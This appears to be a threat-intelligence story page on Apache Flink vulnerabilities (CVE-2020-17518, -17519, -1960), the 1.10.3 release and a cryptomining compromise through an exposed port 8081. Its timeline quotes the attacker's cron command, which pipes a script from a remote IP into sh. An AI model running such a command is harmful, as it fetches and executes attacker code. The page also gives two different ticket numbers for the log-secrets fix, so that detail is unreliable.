Loading story…
Apache Flink maintainers documented and remediated multiple security issues, highlighting CVE-2020-17518, a directory traversal vulnerability that allowed remote file writing through the REST API, alongside CVE-2020-1960 and CVE-2020-17519. The project’s new security guidance listed affected versions, fix references, and recommended upgrades, while also clarifying that execution of user-supplied code in Flink clusters is expected behavior rather than a standalone remote code execution flaw. Separately, Flink fixed FLINK-19523 to stop sensitive command-line configuration values from being exposed in JobManager logs, with the change released in versions 1.10.3, 1.11.3, and 1.12.0.
The security fixes drove preparation of the Flink 1.10.3 bugfix release, with developers agreeing to backport the CVE-2020-17518 patch to the 1.10 branch while noting that CVE-2020-17519 did not affect 1.10 because it was introduced in 1.11.0. Later user reports of cryptomining on an internet-exposed Flink server did not point to a new vulnerability; maintainers said the known CVEs were already fixed in 1.12.2-rc2 and stressed that exposing the JobManager web port 8081 publicly is dangerous because Flink’s REST endpoint lacks authentication by default in some modes, enabling arbitrary JAR submission. The project strongly advised keeping Flink processes off the public internet and restricting cluster access to trusted internal or cloud networks.
Map this exposure pattern across your cloud, code, and identities.
9 events from the most recent confirmed update back to the earliest known activity.
In response to the cryptomining report, Flink participants said the behavior did not confirm a new Flink vulnerability and noted that CVE-2020-1960, CVE-2020-17518, and CVE-2020-17519 were already fixed in 1.12.2-rc2 with no regression. They pointed instead to insecure exposure of port 8081 and the lack of default authentication on the REST endpoint, which can allow arbitrary JAR submission in session mode.
A user reported that a newly installed server running a self-compiled Flink 1.12.2-rc2 instance was compromised after exposing JobManager port 8081 to the public internet, with a cron job repeatedly executing 'curl http://195.3.146.118/spr.sh | sh'. The user said they had seen a similar issue previously with Flink 1.10.
Xintong Song said the CVE-2020-17518 fix had already been ported to the Flink 1.10 branch and that the build was stable enough for a release candidate to be prepared. He also volunteered to manage the 1.10.3 release.
During the 1.10.3 release discussion, Yu Li stated that CVE-2020-17519 was introduced in Flink 1.11.0 and therefore did not need to be fixed in 1.10.3, while CVE-2020-17518 did need to be included for the 1.10 branch.
Apache Flink developers opened discussion on a 1.10.3 bugfix release for the 1.10 branch, citing 55 unreleased commits, important bug fixes, and security fixes as reasons to ship it. The proposal initially considered backporting both CVE-2020-17518 and CVE-2020-17519.
Apache Flink added a security page listing fixed vulnerabilities including CVE-2020-1960, CVE-2020-17518, and CVE-2020-17519, with affected versions and recommended upgrade targets. The page also warned that Flink executes user-supplied code by design and strongly discouraged exposing Flink processes to the public internet.
Apache published an advisory for CVE-2020-17518 describing a directory traversal issue that allowed remote file writing through the Flink REST API.
The Apache Software Foundation published CVE-2020-1960 for an Apache Flink vulnerability affecting versions 1.1.0 through 1.10.0. When JMXReporter is enabled with a configured reporter port, a local attacker with machine and JMX port access can rebind the JMXRMI registry to perform a man-in-the-middle attack and extract credentials or other JMX-transmitted data.
Apache Flink fixed an issue where JobManager startup logs could expose sensitive command-line configuration values such as secrets. The fix was tracked as FLINK-30943 and released in versions 1.10.3, 1.11.3, and 1.12.0.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. See the values in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
See where this exposure pattern shows up across your cloud, code, supply chain, and non-human identities.
8 references tracked. Mallory keeps watching after this page renders.
cve.mitre.org
Open sourcelists.apache.org
Open sourcelists.apache.org
Open sourcelists.apache.org
Open sourceissues.apache.org
Open sourcelists.apache.org
Open sources.apache.org
Open sourceissues.apache.org
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Apache disclosed **CVE-2026-35194**, a critical remote code execution flaw in Apache Flink that allows authenticated users with query submission privileges to run arbitrary code on **TaskManager** nodes. The vulnerability is caused by improper escaping of user-controlled input during Flink’s SQL code-generation process, where malicious SQL can be translated into attacker-controlled Java code. Apache said the issue affects Flink `1.15.0` through `1.20.x` before `1.20.4`, and `2.0.0` through `2.x` before `2.0.2`, `2.1.2`, and `2.2.1`. The flaw impacts JSON functions introduced in `1.15.0` and `LIKE` expressions with `ESCAPE` clauses introduced in `1.17.0`, creating a serious risk for multi-tenant and shared environments where non-administrative users may be able to escalate access, manipulate data, compromise clusters, and move laterally. Apache credited Yaswant Katakam of Confluent InfoSec for reporting the bug, while public disclosure also highlighted the danger of SQL-to-Java code translation paths in Flink’s engine. Organizations were urged to upgrade immediately to the patched releases.
Jun 29, 2026
The Apache Software Foundation reported handling **376 new vulnerability reports** across **101** top-level projects in 2020, closing 341 cases and assigning **151 CVEs** while adopting new tooling and the CVE automation API to speed disclosure. The report highlighted several high-profile issues, including the Apache Struts flaw tracked as `CVE-2019-0230`, where forced double OGNL evaluation in tag attributes can lead to **remote code execution** in Struts `2.0.0` through `2.5.20`, alongside other notable Apache security events that drew public exploit or proof-of-concept attention. Additional disclosures tied to that period included two Apache Flink directory traversal bugs, `CVE-2020-17518` and `CVE-2020-17519`, affecting exposed REST APIs and enabling arbitrary file write or read access on vulnerable JobManager hosts; Apache said users should upgrade to **Flink 1.11.3 or 1.12.0**. Apache also published `CVE-2020-13951`, a denial-of-service issue in the public NetTest web service of Apache OpenMeetings `4.0.0` through `5.0.0`, and `CVE-2019-0235`, a **CSRF** flaw in Apache OFBiz `17.12.01`, underscoring the breadth of web, file-system, and application-layer risks disclosed across Apache projects.
Aug 15, 2026
Five critical vulnerabilities were discovered in Fluent Bit, a widely used open-source telemetry and log collection agent deployed across major cloud providers and AI labs. These flaws, some of which have existed for years, allow attackers to bypass authentication, perform path traversal, achieve remote code execution, cause denial-of-service, and manipulate log tags. The vulnerabilities, identified by Oligo Security, affect all major cloud platforms and have the potential to disrupt cloud services, alter or tamper with data, and enable deeper intrusions into cloud and Kubernetes infrastructure. Fluent Bit is used by tech giants such as Google, Amazon, Oracle, IBM, Microsoft, and OpenAI, with over 15 billion deployments worldwide. The vulnerabilities include CVE-2025-12972 (path traversal via unsanitized tag values), CVE-2025-12970 (stack buffer overflow in the Docker Metrics input plugin), CVE-2025-12978 (tag-matching logic spoofing), CVE-2025-12977 (improper input validation of tags), and CVE-2025-12969 (missing authentication in the in_forward plugin). Exploiting these flaws could allow attackers to write or overwrite arbitrary files, inject malicious records, reroute logs, and flood security products with false events. The issues have been addressed in Fluent Bit versions v4.1.1 and 4.0.12, and users are urged to update immediately to mitigate risk.
Jun 29, 2026